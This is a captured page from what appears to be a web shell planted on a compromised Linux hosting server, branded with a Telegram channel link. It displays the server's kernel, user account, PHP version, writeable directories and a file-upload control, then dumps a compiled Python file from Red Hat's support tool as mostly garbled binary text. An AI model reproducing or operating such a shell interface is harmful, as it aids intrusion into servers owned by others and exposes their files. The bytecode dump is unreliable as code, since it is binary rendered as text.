https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pyc
�
��Tc@s�ddlmZddlmZddlmZddlmZmZddl	m
Z
ddlZddlZddl
jjZddljjZddljZdZejd�Zd	efd
��YZdS(i����(tdeque(t_(tLaunchHelper(tInteractivePlugintObjectDisplayOption(tSymptomNsDan Varga <dvarga@redhat.com>s#redhat_support_tool.plugins.analyzetAnalyzecBs�eZdZed�Zed�Zed�ZdZdZ	dZ
dZd�Ze
d��Ze
d��Ze
d��Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zdd�Zd�ZRS(tanalyzesAnalyze a file for symptomss2%s of %s symptoms displayed. Type 'm' to see more.sNo more symptoms to displaycCstj|�dS(N(Rt__init__(tself((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pyR,scCs
td�S(s�
        The usage statement that will be printed by OptionParser.

        Example:
            - %prog -c CASENUMBER [options] <comment text here>
        Important: %prog is a OptionParser built-in.  Use it!
        s%prog <file for analysis>(R(tcls((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pyt	get_usage/s	cCstd�|jS(s�
        The description statement that will be printed by OptionParser.

        Example:
            - 'Use the '%s' command to add a comment to a case.'             % cls.plugin_name
        s3Use the '%s' command to analyze a file for symptoms(Rtplugin_name(R
((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pytget_desc:s		cCs td�|j|j|jfS(s
        The epilog string that will be printed by OptionParser.  Usually
        used to print an example of how to use the program.

        Example:
         Examples:
          - %s -c 12345678 Lorem ipsum dolor sit amet, consectetur adipisicing
          - %s -c 12345678
        s�Examples:
- %s /var/log/jbossas/rhevm-slimmed/boot.log
- %s /var/spool/abrt/ccpp-2012-09-28-09:53:26-4080
- %s /var/log/messages
(RR(R
((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pyt
get_epilogFs	cCs
td�S(NsO
Type the number of the symptom to view,
or 'e' to return to the previous menu.(R(R	((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pytget_intro_textXscCs
td�S(NsSelect a Symptom: (R(R	((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pytget_prompt_text\scCs|jS(N(t
_submenu_opts(R	((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pytget_sub_menu_options_scCs�td�|j}|js�tj�r�g}y,td�GHxtrX|jt��q?WWq�tk
r�t	dj
|��jd�j�|_q�Xq�|GHt
|��ndS(NsERROR: %s requires a file.sSPlease provide the file, or text to be analyzed: Ctrl-d on an empty line to submit:s
sutf-8(RRt_linetcommontis_interactivetTruetappendt	raw_inputtEOFErrortstrtjointdecodetstript	Exception(R	tmsgt	userinput((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pyt_check_inputbs	
		
cCs|j�dS(N(R!(R	((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pyt
validate_argswscCs5t�|_i|_gtj_|j|j�dS(sT
        This is where the work goes down, call do_analysis to do that work
        N(RRt	_sectionstSymptomstAnalyzerPlugintsymptomstdo_analysisR(R	((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pytpostinit{s	cCs�x�|jD]�}d|j|jd|jf}y|jdd�GHWq
tk
r�}tjtj	|�ddl
}|j|j�d�GHq
Xq
WdS(sO
        Running in non-interactive mode, just dump the text to screen
        sAt Line: %d 
 Symptom: %ss
sUTF-8treplacei����N(tresultstline_numtbefore_linettoken_stringtencodeRtloggertlogtloggingtWARNINGtsystgetdefaultencoding(R	trestlineteR3((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pytnon_interactive_action�s	cCs�|j|jkrtd}x7|jD],}|j|jkr"||j|7}q"q"Wtj|jdd�dd�ntt�}|j	d|�dS(s�
        This gets invoked when running in interactive mode
        Basically just a hook to get your sub command (symptom) invoked
        usUTF-8R)tcmdsless -RN(tdisplay_texttALLRR#tpydoct	pipepagerR.RRtruntNone(R	tdisplay_optiontdoctopttlh((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pytinteractive_action�s
cCs�tjj|�|_xt|jD]i}tdt|j�d|jd|jdi|d6�}|j	j
|�|j|j|j|<qWdS(sV
        Call the analyzer helper to do the actual work and build the Display
        t[s]  s
		RDtsymptomN(
tanalyzertAnalyzerRR*RRR+R,tsource_lineRRR-R#(R	tfilenameR5tdisp_opt((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pyR'�s
N(t__name__t
__module__RRR;tpartial_entriestend_of_entriesR?RR#RJR*RtclassmethodRR
RRRRR!R"R(R8RDR'(((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pyR"s*									(tcollectionsRt(redhat_support_tool.helpers.confighelperRt(redhat_support_tool.helpers.launchhelperRtredhat_support_tool.pluginsRRt#redhat_support_tool.plugins.symptomRR1R<t$redhat_support_tool.helpers.analyzerthelpersRGt"redhat_support_tool.helpers.commonRtredhat_support_tool.symptomsR&R$t
__author__t	getLoggerR/R(((sG/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/analyze.pyt<module>s

https://t.me/AnonymousX5 - 2025